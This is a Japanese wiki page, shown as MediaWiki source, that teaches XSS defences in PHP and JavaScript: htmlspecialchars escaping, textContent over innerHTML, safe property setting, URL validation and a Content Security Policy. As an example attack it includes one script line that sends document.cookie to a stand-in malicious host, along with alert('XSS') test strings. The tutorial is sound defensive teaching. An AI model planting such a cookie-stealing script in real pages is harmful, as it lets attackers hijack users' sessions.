MochiuWiki : SUSE, EC, PCB
検索
個人用ツール
ログイン
Toggle dark mode
名前空間
ページ
議論
表示
閲覧
ソースを閲覧
履歴を表示
PHPの基礎 - XSS対策のソースを表示
提供: MochiuWiki : SUSE, EC, PCB
←
PHPの基礎 - XSS対策
あなたには「このページの編集」を行う権限がありません。理由は以下の通りです:
この操作は、次のグループのいずれかに属する利用者のみが実行できます:
管理者
、new-group。
このページのソースの閲覧やコピーができます。
== 概要 == XSS (クロスサイトスクリプティング) 攻撃は、Webアプリケーションの脆弱性を利用して、悪意のあるスクリプトをユーザのWebブラウザで実行させる攻撃手法である。<br> <br> 主な攻撃タイプには、反射型XSS、格納型XSS、DOMベースXSSがある。<br> * 反射型XSS *: ユーザの入力データがそのままレスポンスとして返される場合に発生する。 * 格納型XSS *: 悪意のあるスクリプトがデータベースに保存されて、他のユーザがページを閲覧した時に実行される。 * DOMベースXSS *: クライアントサイドのJavaScriptによってDOMが動的に変更される時に発生する。 <br> PHPでの対策として、<code>htmlspecialchars</code>関数を使用してHTML特殊文字をエスケープする。<br> <syntaxhighlight lang="php"> $safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); </syntaxhighlight> <br> その他の重要な対策として、Content Security Policy (CSP) の実装、HTTPOnly属性の設定、入力値の適切なバリデーション、出力時のエンコーディング、最新のPHPフレームワークの使用等が挙げられる。<br> <br> 実際の攻撃例として、以下に示すようなスクリプトが挿入される可能性がある。<br> <br> これにより、ユーザのクッキー情報が攻撃者のサーバーに送信される可能性がある。<br> このような攻撃を防ぐために、適切なエスケープ処理と入力検証が不可欠である。<br> <syntaxhighlight lang="javascript"> <script> document.location='http://악성サイト.com/steal.php?cookie='+document.cookie; </script> </syntaxhighlight> <br><br> == htmlspecialchars関数の使用 == htmlspecialchars関数は、<u>反射型XSS</u>と<u>格納型XSS</u>の防止に効果的である。<br> これらのXSS攻撃は、HTMLの出力時にスクリプトが実行される仕組みを利用するためである。<br> <br> ただし、htmlspecialchars関数を使用する場合も、第2引数に<code>ENT_QUOTES</code>を指定して、文字エンコーディングを明示的に指定することが必要である。<br> これにより、シングルクォートとダブルクォートの両方が適切にエスケープされる。<br> <br> HTMLコンテンツを出力する場合は、htmlspecialchars関数を使用する。<br> 例えば、データベースに<u>"<script>alert('攻撃')</script>"</u>のような悪意のあるスクリプトが格納されている場合、<br> htmlspecialchars関数を使用しないと、そのスクリプトがWebブラウザで実行される可能性がある。<br> <br> htmlspecialchars関数を使用する場合、特殊文字がHTMLエンティティに変換 (例: "<" -> "<") されて、スクリプトが実行されなくなる。<br> <br> ただし、以下のような場合には、htmlspecialchars関数は不要である。<br> * JSONとして出力する場合 (json_encode関数の使用時) * データベースへの保存時 * HTMLとして解釈させる場合 (信頼できるソースからのデータの場合のみ) <br><br> == DOMベースXSS対策 == DOMベースXSSは、クライアントサイドのJavaScriptによってDOMを操作する場合に発生するため、サーバサイドのhtmlspecialchars関数だけでは完全な防止は困難である。<br> <br> DOMベースXSSの対策には、クライアントサイドでの適切な入力検証やDOMの安全な操作方法の実装が必要となる。<br> 例えば、innerHTMLの代わりにtextContentを使用する等の対策が必要となる。<br> <br> ==== DOMのプロパティとメソッドの安全な使用 ==== ===== innerHTMLの代わりに、textContentを使用してテキストを設定する ===== textContentはテキストをHTMLとして解釈せず、純粋なテキストとして扱うため、スクリプトタグや悪意のあるコードが実行されるリスクを排除できる。<br> これにより、DOMベースXSS攻撃からの保護が自動的に行われる。<br> <br> <u>※注意</u><br> <u>HTMLマークアップが必要な場合は使用できない。</u><br> <u>HTMLを意図的に挿入する必要がある場合は、DOMPurify等のサニタイザーライブラリの使用を検討する。</u><br> <br> <syntaxhighlight lang="javascript"> // 危険な例 : innerHTMLの使用 function unsafeSetContent(elementId, content) { const element = document.getElementById(elementId); element.innerHTML = content; // 非推奨 : XSS攻撃の可能性あり } // 安全な例 : textContentの使用 function safeSetContent(elementId, content) { const element = document.getElementById(elementId); element.textContent = content; // 推奨 : HTMLタグとしてパースされない } // 実装例 1 : ユーザ入力の表示 function displayUserInput(input) { const displayElement = document.getElementById('output'); displayElement.textContent = input; } // 実装例 2 : 動的なリスト項目の追加 function addListItem(text) { const li = document.createElement('li'); li.textContent = text; // 安全な方法でテキストを設定 document.querySelector('ul').appendChild(li); } // 実装例 3 : エラーメッセージの表示 function showError(errorMessage) { const errorElement = document.getElementById('error'); errorElement.textContent = errorMessage; errorElement.classList.add('error'); } // 実装例 4 : 複数要素の更新 function updateMultipleElements(data) { // ユーザー名を安全に表示 document.getElementById('username').textContent = data.username; // スコアを安全に表示 document.getElementById('score').textContent = data.score; // ステータスを安全に表示 document.getElementById('status').textContent = data.status; } // 実装例 5 : テンプレートとの組み合わせ function createUserCard(user) { const template = document.getElementById('user-card-template'); const clone = template.content.cloneNode(true); // 各フィールドを安全に更新 clone.querySelector('.user-name').textContent = user.name; clone.querySelector('.user-email').textContent = user.email; clone.querySelector('.user-role').textContent = user.role; return clone; } // 使用例 const safeData = { username: "ユーザ1", message: "<script>alert('XSS')</script>" }; // 安全な実装 // 結果 : スクリプトタグがそのままテキストとして表示される safeSetContent('message', safeData.message); </syntaxhighlight> <br> ===== setAttribute関数の代わりに、直接プロパティを設定する ===== 直接プロパティを設定する場合は、Webブラウザの内部的なサニタイズ処理が使用できる。<br> 特に、イベントハンドラの設定において、悪意のあるコードの実行を防ぐことができる。<br> <br> また、プロパティは型チェックが行われるため、型の安全性が向上する。<br> <br> 使用シーンを以下に示す。<br> * 標準的なHTML属性の設定 (id, class, src, href等) * フォーム要素のプロパティ設定 (value, disabled, required等) * スタイルプロパティの設定 (style.propertyName) * データ属性の設定 (dataset.propertyName) * ARIA属性の設定 (aria-*属性) <br> <u>※注意が必要な属性</u><br> * href属性 *: URLのバリデーションを行った後に設定する。 * src属性 *: 信頼できるソースからのURLのみを使用する。 * onclick等のイベントハンドラ *: 直接文字列を設定せず、addEventListenerメソッドを使用する。 <br> <syntaxhighlight lang="javascript"> // 危険な例 : setAttributeの使用 // 悪意のあるスクリプトが実行される可能性がある function unsafeSetAttribute(element, value) { element.setAttribute('onclick', value); // 避けるべき element.setAttribute('href', value); // 避けるべき } // 安全な例 - 直接プロパティ設定 // プロパティに直接設定 function safeSetProperties(element, value) { element.id = value; // 推奨 element.className = value; // 推奨 element.title = value; // 推奨 } // 実装例 1 : フォーム要素の操作 // 安全な方法でプロパティを設定 function updateFormElement(input, value) { input.disabled = value; // disabled属性 input.required = value; // required属性 input.value = value; // value属性 input.placeholder = value; // placeholder属性 } // 実装例 2 : イメージ要素の操作 function updateImage(imgElement, data) { imgElement.src = data.url; // src属性 imgElement.alt = data.altText; // alt属性 imgElement.width = data.width; // width属性 imgElement.height = data.height; // height属性 } // 実装例 3 : アンカー要素の操作 // URLのバリデーションを行ってから設定 function updateLink(linkElement, data) { if (isValidUrl(data.url)) { linkElement.href = data.url; } linkElement.target = '_blank'; // target属性 linkElement.rel = 'noopener'; // rel属性 } // 実装例 4 : スタイルの操作 // CSSプロパティを直接設定 function updateStyles(element, styles) { element.style.backgroundColor = styles.bg; element.style.color = styles.color; element.style.fontSize = styles.size; } // 実装例 5 : データ属性の操作 // data-*属性を安全に設定 function updateDataAttributes(element, data) { element.dataset.id = data.id; element.dataset.name = data.name; element.dataset.value = data.value; } // 実装例 6 : ARIA属性の操作 function updateAriaAttributes(element, state) { element.ariaLabel = state.label; element.ariaExpanded = state.expanded; element.ariaHidden = state.hidden; } // URLバリデーション用のヘルパー関数 function isValidUrl(url) { try { new URL(url); return true; } catch { return false; } } // 使用例 const element = document.getElementById('target'); // 安全な実装 element.className = 'safe-class'; element.id = 'safe-id'; const img = document.createElement('img'); img.src = 'safe-url.jpg'; img.alt = 'Safe image'; // データ属性の安全な設定 const dataElement = document.getElementById('data-element'); dataElement.dataset.userInput = 'Safe data'; </syntaxhighlight> <br> ==== URLパラメータの処理 ==== * location.hashやlocation.searchからの値を使用する前に、<code>encodeURIComponent</code>関数でエンコードする。 * URLSearchParams APIを使用して、URLパラメータを安全に解析する。 <br> ==== テンプレートリテラルの活用 ==== <syntaxhighlight lang="javascript"> // JavaScriptファイル // 危険な実装 element.innerHTML = `Welcome ${userInput}`; // 安全な実装 element.textContent = `Welcome ${userInput}`; </syntaxhighlight> <br> ==== イベントハンドラでの入力値の検証 ==== <syntaxhighlight lang="javascript"> // JavaScriptファイル document.getElementById('userInput').addEventListener('input', function(e) { const input = e.target.value; if (!/^[a-zA-Z0-9]+$/.test(input)) { e.preventDefault(); alert('特殊文字は使用できません'); } }); </syntaxhighlight> <br> ==== Content Security Policy (CSP) の実装 ==== <syntaxhighlight lang="html"> <!-- HTMLファイル --> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'"> </syntaxhighlight> <br><br> {{#seo: |title={{PAGENAME}} : Exploring Electronics and SUSE Linux | MochiuWiki |keywords=MochiuWiki,Mochiu,Wiki,Mochiu Wiki,Electric Circuit,Electric,pcb,Mathematics,AVR,TI,STMicro,AVR,ATmega,MSP430,STM,Arduino,Xilinx,FPGA,Verilog,HDL,PinePhone,Pine Phone,Raspberry,Raspberry Pi,C,C++,C#,Qt,Qml,MFC,Shell,Bash,Zsh,Fish,SUSE,SLE,Suse Enterprise,Suse Linux,openSUSE,open SUSE,Leap,Linux,uCLnux,Podman,電気回路,電子回路,基板,プリント基板 |description={{PAGENAME}} - 電子回路とSUSE Linuxに関する情報 | This page is {{PAGENAME}} in our wiki about electronic circuits and SUSE Linux |image=/resources/assets/MochiuLogo_Single_Blue.png }} __FORCETOC__ [[カテゴリ:Web]]
PHPの基礎 - XSS対策
に戻る。
案内
メインページ
最近の更新
おまかせ表示
MediaWiki についてのヘルプ
ツール
リンク元
関連ページの更新状況
特別ページ
ページ情報
We ask for
Donations
Collapse